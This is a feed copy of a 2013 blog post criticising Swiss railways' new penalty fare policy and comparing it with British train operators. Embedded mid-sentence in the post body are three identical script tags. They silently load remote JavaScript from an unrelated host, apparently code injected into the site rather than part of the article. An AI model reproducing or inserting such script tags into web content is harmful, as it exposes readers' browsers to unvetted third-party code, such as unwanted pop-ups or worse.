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	<title>Where Worlds Collide &#187; Penalty Fares</title>
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		<title>Penalty Fares: A PR Disaster in Switzerland</title>
		<link>http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/#comments</comments>
		<pubDate>Tue, 05 Feb 2013 13:11:06 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Penalty Fares]]></category>
		<category><![CDATA[Switzerland]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=6135</guid>
		<description><![CDATA[If the BBC report is remotely accurate, it appears as though Swiss railwayâ€™s changes to ticketing policy has turned into a major PR disaster, especially for a nation thatâ€™s always prided itself on the quality of their train services. <a href="http://www.kalyr.co.uk/weblog/railways/transport/penalty-fares-a-pr-disaster-in-switzerland/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2005-Part-Two/18743800_RLb94p#!i=1450437159&#038;k=Lj2F7kt&#038;lb=1&#038;s=A" title="An Re460 with IC2000 double-deck stock crosses the Aare viaduct in Bern."><img src="http://kalyr.smugmug.com/Trains/Switzerland/Switzerland-2005-Part-Two/i-Lj2F7kt/0/M/DSCF0924-M.jpg" title="An Re460 with IC2000 double-deck stock crosses the Aare viaduct in Bern." alt="An Re460 with IC2000 double-deck stock crosses the Aare viaduct in Bern."></a></p>
<p>It appears as though <a href="http://www.bbc.co.uk/news/magazine-21294241">Swiss railway&#8217;s changes to ticketing policy</a> has turned into a major PR disaster, especially for a nation that&#8217;s always prided itself on the quality of their train services.</p>
<p>If the BBC report is remotely accurate, it looks as though they&#8217;ve introduced a penalty fare system along the lined of that introduced by some train operating companied in Britain, and just as has happened in Britain, it&#8217;s had the effect of penalising honest travellers rather than habitual fare-dodgers. As in Britain many are wondering if that&#8217;s really an unintended consequence at all. Their system seems excessively harsh; at least British train companies allow their conductors to use their discretion, and make allowances for ticket machines not working. And their penalties are far higher than the British equivalents. Does a broken ticket machine <em>really</em> mean you can&#8217;t travel, or is that inaccurate reporting?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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